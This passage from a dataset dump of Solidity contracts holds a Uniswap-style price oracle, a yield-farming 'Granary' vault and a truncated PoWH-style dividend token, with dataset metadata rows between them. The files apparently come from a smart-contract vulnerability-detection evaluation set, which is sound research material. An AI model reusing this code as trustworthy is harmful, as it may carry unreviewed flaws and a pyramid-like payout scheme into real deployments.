require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// Part: UniswapV2OracleLibrary
// library with helper mBnbods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// File: MarketOracle.sol
contract MarketOracle is Ownable {
using FixedPoint for *;
uint private IMPACTBnbPrice0CumulativeLast;
uint private IMPACTBnbPrice1CumulativeLast;
uint32 private IMPACTBnbBlockTimestampLast;
uint private wbnbBusdPrice0CumulativeLast;
uint private wbnbBusdPrice1CumulativeLast;
uint32 private wbnbBusdBlockTimestampLast;
address private constant _wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private constant _busd = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
IUniswapV2Pair private _IMPACT_bnb;
IUniswapV2Pair private _wbnb_busd;
address public controller;
modifier onlyControllerOrOwner {
require(msg.sender == controller || msg.sender == owner());
_;
}
constructor(address __IMPACT_bnb, // Address of the IMPACT-BNB pair on Pancakeswap
address __wbnb_busd // Address of the WBNB-BUSD on Pancakeswapx) public {
controller = msg.sender;
_IMPACT_bnb = IUniswapV2Pair(__IMPACT_bnb);
_wbnb_busd = IUniswapV2Pair(__wbnb_busd);
uint112 _dummy1;
uint112 _dummy2;
IMPACTBnbPrice0CumulativeLast = _IMPACT_bnb.price0CumulativeLast();
IMPACTBnbPrice1CumulativeLast = _IMPACT_bnb.price1CumulativeLast();
(_dummy1, _dummy2, IMPACTBnbBlockTimestampLast) = _IMPACT_bnb.getReserves();
wbnbBusdPrice0CumulativeLast = _wbnb_busd.price0CumulativeLast();
wbnbBusdPrice1CumulativeLast = _wbnb_busd.price1CumulativeLast();
(_dummy1, _dummy2, wbnbBusdBlockTimestampLast) = _wbnb_busd.getReserves();
}
// Get the average price of 1 IMPACT in the smallest BNB unit (18 decimals)
function getIMPACTBnbRate() public view returns (uint256, uint256, uint32, uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 _blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_IMPACT_bnb));
require(_blockTimestamp != IMPACTBnbBlockTimestampLast, "IMPACT Last and current are equal");
FixedPoint.uq112x112 memory IMPACTBnbAverage = FixedPoint.uq112x112(uint224(1e9 * (price0Cumulative - IMPACTBnbPrice0CumulativeLast) / (_blockTimestamp - IMPACTBnbBlockTimestampLast)));
return (price0Cumulative, price1Cumulative, _blockTimestamp, IMPACTBnbAverage.mul(1).decode144());
}
// Get the average price of 1 USD in the smallest BNB unit (18 decimals)
function getBusdBnbRate() public view returns (uint256, uint256, uint32, uint256) {
(uint price0Cumulative, uint price1Cumulative, uint32 _blockTimestamp) =
UniswapV2OracleLibrary.currentCumulativePrices(address(_wbnb_busd));
require(_blockTimestamp != wbnbBusdBlockTimestampLast, "BUSD Last and current are equal");
FixedPoint.uq112x112 memory busdBnbAverage = FixedPoint.uq112x112(uint224(1e6 * (price1Cumulative - wbnbBusdPrice1CumulativeLast) / (_blockTimestamp - wbnbBusdBlockTimestampLast)));
return (price0Cumulative, price1Cumulative, _blockTimestamp, busdBnbAverage.mul(1).decode144());
}
// Update "last" state variables to current values
function update() external onlyControllerOrOwner {
uint IMPACTBnbAverage;
uint busdBnbAverage;
(IMPACTBnbPrice0CumulativeLast, IMPACTBnbPrice1CumulativeLast, IMPACTBnbBlockTimestampLast, IMPACTBnbAverage) = getIMPACTBnbRate();
(wbnbBusdPrice0CumulativeLast, wbnbBusdPrice1CumulativeLast, wbnbBusdBlockTimestampLast, busdBnbAverage) = getBusdBnbRate();
}
// Return the average price since last update
function getData() external view returns (uint256) {
uint _price0CumulativeLast;
uint _price1CumulativeLast;
uint32 _blockTimestampLast;
uint IMPACTBnbAverage;
(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast, IMPACTBnbAverage) = getIMPACTBnbRate();
uint busdBnbAverage;
(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast, busdBnbAverage) = getBusdBnbRate();
uint answer = (IMPACTBnbAverage)*1e6 / busdBnbAverage;
return (answer);
}
function setController(address controller_)
external
onlyOwner
{
controller = controller_;
}
}
| 256,897 | 13,432 |
d149a68242031fd37db7313c84e7eded53f97e312c23cb49abb0239d69fa541a
| 27,695 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ed/ed5ec3d9ed1327385c87dfd25aa0f7a0b0d71c62_Granary.sol
| 6,417 | 18,481 |
//SPDX-License-Identifier: UNLICENSED
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
pragma abicoder v2;
// Part: IMasterchef
//ftm.guru's Universal On-chain TVL Calculator
//Source: https://ftm.guru/rawdata/tvl
interface ITVL {
//Using Version = 6
function p_lpt_coin_usd(address lp) external view returns(uint256);
}
interface IMasterchef {
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. ASNT to distribute per block.
uint256 lastRewardTimestamp; // Last block number that ASNT distribution occurs.
uint256 accASNTPerShare; // Accumulated ASNT per share, times 1e18. See below.
uint256 depositFeeRate; // Deposit fee
uint256 harvestInterval; // Harvest interval in seconds
uint256 harvestFeeInterval; // Harvest fee minimum interval in seconds
uint256 harvestFeeRate; // Harvest fee ONLY on rewards in basis points when the harvest occurs before the minimum interval
uint256 totalLp; // Total token in Pool
IMultipleRewards[] rewarders; // Array of rewarder contract for pools with incentives
}
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint256 rewardLockedUp; // Reward locked up.
uint256 nextHarvestUntil; // When can the user harvest again.
uint256 noHarvestFeeAfter; //No harvest fee after this duration
}
function deposit(uint256 _pid, uint256 _amount, address _ref) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function userInfo(uint256, address) external view returns (UserInfo memory);
function poolInfo(uint256) external view returns (PoolInfo memory);
function totalAllocPoint() external view returns (uint256);
function pendingTokens(uint256 _pid, address _user) external view returns (address[] memory addresses,
string[] memory symbols,
uint256[] memory decimals,
uint256[] memory amounts);
function poolRewarders(uint256 _pid) external view returns (address[] memory rewarders);
function canHarvest(uint256 _pid, address _user) external view returns (bool);
function noHarvestFee(uint256 _pid, address _user) external view returns (bool);
}
interface IMultipleRewards {
// rewarder type
enum RewarderType {notdefined, sharedistribution, boost, partnership} // 0, 1, 2, 3
function onASNTReward(uint256 pid,
address user,
uint256 newLpAmount) external;
function pendingTokens(uint256 pid, address user)
external
view
returns (uint256 pending);
function rewardToken() external view returns (IERC20);
function poolRewardsPerSec(uint256 _pid) external view returns (uint256);
function getPoolInfo(uint256 _pid) external view
returns (uint256 allocPoint,
uint256 lastRewardTime,
uint256 accTokenPerShare,
uint256 rewardStartTime,
uint256 rewardEndTime,
RewarderType rewarderType);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//Uniswap-style Pair (LPT)
function getReserves() external view returns (uint112, uint112, uint32);
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Granary
{
using SafeMath for uint256;
constructor (address _w, address _m, address _e, uint8 _p, address _R, address[] memory _rA, address[] memory _rB, string memory _id, address _v)
{
want=IERC20(_w);
mc=IMasterchef(_m);
earn=IERC20(_e);
allnums[0]=_p; //pid
router = _R;
routeA = _rA;
routeB = _rB;
id=_id;//GRAIN#ID
utvl=_v;
//Approvals
//mc to take what it may want
IERC20(address(want)).approve(address(mc),uint256(-1));
//router to sell what we earn
IERC20(address(earn)).approve(address(router),uint256(-1));
//router to add routeA[routeA.length-1]
IERC20(_rA[_rA.length-1]).approve(address(router),uint256(-1));
//router to add routeB[routeB.length-1]
IERC20(_rB[_rB.length-1]).approve(address(router),uint256(-1));
Eliteness.push(Elites({ELITE:0xf43Cc235E686d7BC513F53Fbffb61F760c3a1882,ELITES:1e16}));
dao = 0x167D87A906dA361A10061fe42bbe89451c2EE584;
treasury = dao;
}
modifier DAO {require(msg.sender==dao,"Only E.L.I.T.E. D.A.O. Treasury can rescue treasures!");_;}
struct Elites {
address ELITE;
uint256 ELITES;
}
Elites[] public Eliteness;
function pushElite(address elite, uint256 elites) public DAO {
Eliteness.push(Elites({ELITE:elite,ELITES:elites}));
}
function pullElite(uint256 n) public DAO {
Eliteness[n]=Eliteness[Eliteness.length-1];Eliteness.pop();
}
//@xref takeFee=eliteness(msg.sender)?false:true;
function eliteness(address u) public view returns(bool)
{
if(Eliteness.length==0){return(true);}//When nobody is an Elite, everyone is an Elite.
for(uint i;i<Eliteness.length;i++){
if(IERC20(Eliteness[i].ELITE).balanceOf(u)>=Eliteness[i].ELITES)
{
return(true);
}
}
return(false);
}
function config(//address _w,
uint256 _mw, uint256 _wi, uint256 _pf, address _t, uint256 _df) public DAO
{
allnums[4] = _mw;
treasury = _t;
//Max 10%, 1e6 = 100%
require(_wi<1e5,"!wi: high");allnums[3] = _wi;
require(_pf<1e5,"!pf: high");allnums[2] = _pf;
require(_df<1e5,"!df: high");allnums[1] = _df;
}
uint8 RG = 0;
modifier rg {
require(RG == 0,"!RG");
RG = 1;
_;
RG = 0;
}
function isContract(address account) internal view returns (bool)
{
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
//Using getter functions to circumvent "Stack too deep!" errors
string public id;
function name() public view returns(string memory){return(string(abi.encodePacked("ftm.guru/GRAIN/", id)));}
function symbol() public view returns(string memory){return(string(abi.encodePacked("GRAIN#", id)));}
function decimals() public pure returns(uint256){return(18);}
uint256 public totalSupply;
IERC20 public want;
IERC20 public earn;
address public router;
address[] public routeA;
address[] public routeB;
IMasterchef public mc;
bool public emergency = false;
address public dao;
address public treasury;
address public utvl;
//Using array to avoid "Stack too deep!" errors
uint256[7] public allnums = [
0, //pid 0 constant
1e3,//df 1 config, <= 10% (1e5), default 0.1%
1e4,//pf 2 config, <= 10% (1e5), default 1%
1e4,//wi 3 config, <= 10% (1e5), default 1%
1, //mw 4 config, default 1 (near zero)
0, //ct[0] 5 nonce, then constant
0 //ct[1] 6 up only
];
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function approve(address guy) public returns (bool) {
return approve(guy, uint(-1));
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool)
{
require(balanceOf[src] >= wad,"Insufficient Balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
function deposit(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Please don't deposit.");
//require(isContract(msg.sender)==false,"Humans only");
//require(msg.sender==tx.origin,"Humans only");
//Some fancy math to take care of Fee-on-Transfer tokens
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
require(want.transferFrom(msg.sender,address(this),_amt), "Unable to onboard");
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty deposit");
mc.deposit(allnums[0],D,address(dao));
//Some more fancy math to take care of Deposit Fee
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//require(M>mindep,"Deposit Too Low");
uint256 _mint = 0;
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
totalSupply += _mint;
uint256 _fee;
//allnums[1]===df, deposit fee
if(allnums[1]>0){_fee = eliteness(msg.sender)? 0 : (_mint.mul(allnums[1])).div(1e6);}//gas savings
if(_fee>0)//gas savings
{
balanceOf[treasury] += _fee;
emit Transfer(address(0), treasury, _fee);
}
balanceOf[msg.sender] += _mint.sub(_fee);
emit Transfer(address(0), msg.sender, _mint.sub(_fee));
//hardWork()
//allnums[4]===mw, min work : smallest harvest
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function withdraw(uint256 _amt) public rg
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
uint256 ts = totalSupply;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
// W = DepositsPerShare * SharesBurnt
uint256 W = (_amt.mul(mcbb)).div(ts);
mc.withdraw(allnums[0],W);
uint256 vba = want.balanceOf(address(this));
uint256 D = vba.sub(vbb,"Dirty withdrawal");
require(want.transfer(msg.sender,D), "Unable to deboard");
//hardWork()
if(earn.balanceOf(address(this)) > allnums[4]) {work(address(this));}
}
function doHardWork() public rg
{
require(eliteness(msg.sender),"Elites only!");
salvage();
//require(earn.balanceOf(address(this)) > allnums[4], "Not much work to do!");
work(msg.sender);
}
function salvage() public
{
//harvest()
(,,,uint256[] memory rs) = mc.pendingTokens(allnums[0],address(this));
if(rs[0] > allnums[4]
&& mc.canHarvest(allnums[0],address(this))
&& mc.noHarvestFee(allnums[0],address(this)))
{mc.withdraw(allnums[0],0);}
}
function shouldWork() public view returns (bool could)
{
could = earn.balanceOf(address(this)) > allnums[4];
}
function work(address ben) internal
{
require(!emergency,"Its an emergency. Use emergencyWithdraw() please.");
//has inputs from salvage() if this work is done via doHardWork()
require(shouldWork(), "Not much work to do!");
//breaks only doHardWork(), as deposit() & withdraw() cannot reach work() unless we shouldWork()
IRouter R = IRouter(router);
IERC20 A = IERC20(routeA[routeA.length-1]);
IERC20 B = IERC20(routeB[routeB.length-1]);
uint256 vbb = (earn.balanceOf(address(this))).div(2);
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,routeA,address(this),block.timestamp);
R.swapExactTokensForTokensSupportingFeeOnTransferTokens(vbb,1,routeB,address(this),block.timestamp);
R.addLiquidity(address(A),
address(B),
A.balanceOf(address(this)),
B.balanceOf(address(this)),
(A.balanceOf(address(this)).mul(90).div(100)),
(B.balanceOf(address(this)).mul(90).div(100)),
address(this),
block.timestamp);
uint256 D = want.balanceOf(address(this));
uint256 mcbb = mc.userInfo(allnums[0],address(this)).amount;
mc.deposit(allnums[0],D,address(dao));
uint256 mcba = mc.userInfo(allnums[0],address(this)).amount;
uint256 M = mcba.sub(mcbb,"Dirty stake");
//Performance Fee Mint, conserves TVL
uint256 _mint = 0;
//allnums[5] & allnums[6] are First & Latest Compound's timestamps. Used in info() for APY of AUM.
if(allnums[5]==0){allnums[5]=uint64(block.timestamp);}//only on the first run
allnums[6]=uint64(block.timestamp);
(totalSupply > 0)
// k: SharePerDeposit should be constant before & after
// Mint = SharesPerDeposit * IncreaseInDeposit
// bal += (totalSupply / oldDeposits) * thisDeposit
? _mint = (M.mul(totalSupply)).div(mcbb)
: _mint = M;
//allnums[2] === pf, Performance Fee
balanceOf[treasury] += (_mint.mul(allnums[2])).div(1e6);
//Worker Incentive Mint, conserves TVL
address worker = ben == address(this) ? treasury : ben;
//allnums[3] === wi, Worker Incentive
balanceOf[worker] += (_mint.mul(allnums[3])).div(1e6);
totalSupply += ((_mint.mul(allnums[2])).div(1e6)).add((_mint.mul(allnums[3])).div(1e6));
emit Transfer(address(0), treasury, (_mint.mul(allnums[2])).div(1e6));
emit Transfer(address(0), worker, (_mint.mul(allnums[3])).div(1e6));
}
function declareEmergency() public DAO
{
require(!emergency,"Emergency already declared.");
mc.emergencyWithdraw(allnums[0]);
emergency=true;
}
function revokeEmergency() public DAO
{
require(emergency,"Emergency not declared.");
uint256 D = want.balanceOf(address(this));
mc.deposit(allnums[0],D,address(dao));
emergency=false;
}
function emergencyWithdraw(uint256 _amt) public rg
{
require(emergency,"Its not an emergency. Use withdraw() instead.");
require(balanceOf[msg.sender] >= _amt,"Insufficient Balance");
uint256 ts = totalSupply;
//Burn _amt of Vault Tokens
balanceOf[msg.sender] -= _amt;
totalSupply -= _amt;
emit Transfer(msg.sender, address(0), _amt);
uint256 vbb = want.balanceOf(address(this));
uint256 W = (_amt.mul(vbb)).div(ts);
require(want.transfer(msg.sender,W), "Unable to deboard");
}
function rescue(address tokenAddress, uint256 tokens) public DAO returns (bool success)
{
//Generally, there are not supposed to be any tokens in this contract itself:
//Upon Deposits, the assets go from User to the MasterChef of Strategy,
//Upon Withdrawals, the assets go from MasterChef of Strategy to the User, and
//Upon HardWork, the harvest is reconverted to want and sent to MasterChef of Strategy.
//Never allow draining main "want" token from the Granary:
//Main token can only be withdrawn using the EmergencyWithdraw
require(tokenAddress != address(want), "Funds are Safu in emergency!");
if(tokenAddress==address(0)) {(success,) = dao.call{value:tokens}("");return success;}
else if(tokenAddress!=address(0)) {return IERC20(tokenAddress).transfer(dao, tokens);}
else return false;
}
//Read-Only Functions
//Useful for performance analysis
function info() public view returns (uint256, uint256, uint256, IMasterchef.UserInfo memory, IMasterchef.PoolInfo memory, uint256, uint256[] memory , uint256)
{
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
uint256 roi = aum*1e18/totalSupply;//ROI: 1e18 === 1x
uint256 apy = ((roi-1e18)*(365*86400)*100)/(allnums[6]-allnums[5]);//APY: 1e18 === 1%
(,,,uint256[] memory rs) = mc.pendingTokens(allnums[0],address(this));
return(aum,
roi,
apy,
mc.userInfo(allnums[0],address(this)),
mc.poolInfo(allnums[0]),
mc.totalAllocPoint(),
rs,
rs[0]);
}
//TVL in USD, 1e18===$1.
//Source code Derived from ftm.guru's Universal On-chain TVL Calculator: https://ftm.guru/rawdata/tvl
function tvl() public view returns(uint256)
{
ITVL tc = ITVL(utvl);
uint256 aum = mc.userInfo(allnums[0],address(this)).amount + IERC20(want).balanceOf(address(this));
return ((tc.p_lpt_coin_usd(address(want))).mul(aum)).div(1e18);
}
}
| 327,409 | 13,433 |
ca3e80c317d94f444effd780119199ed10d418e3741b02fce832424b00cfbaed
| 12,608 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x6495a531c42a232d284493831b247b1bded3df42.sol
| 3,281 | 11,889 |
pragma solidity ^0.4.25;
contract CryptoMinerTokenReborn {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Crypto Miner Token Reborn";
string public symbol = "CMTR";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
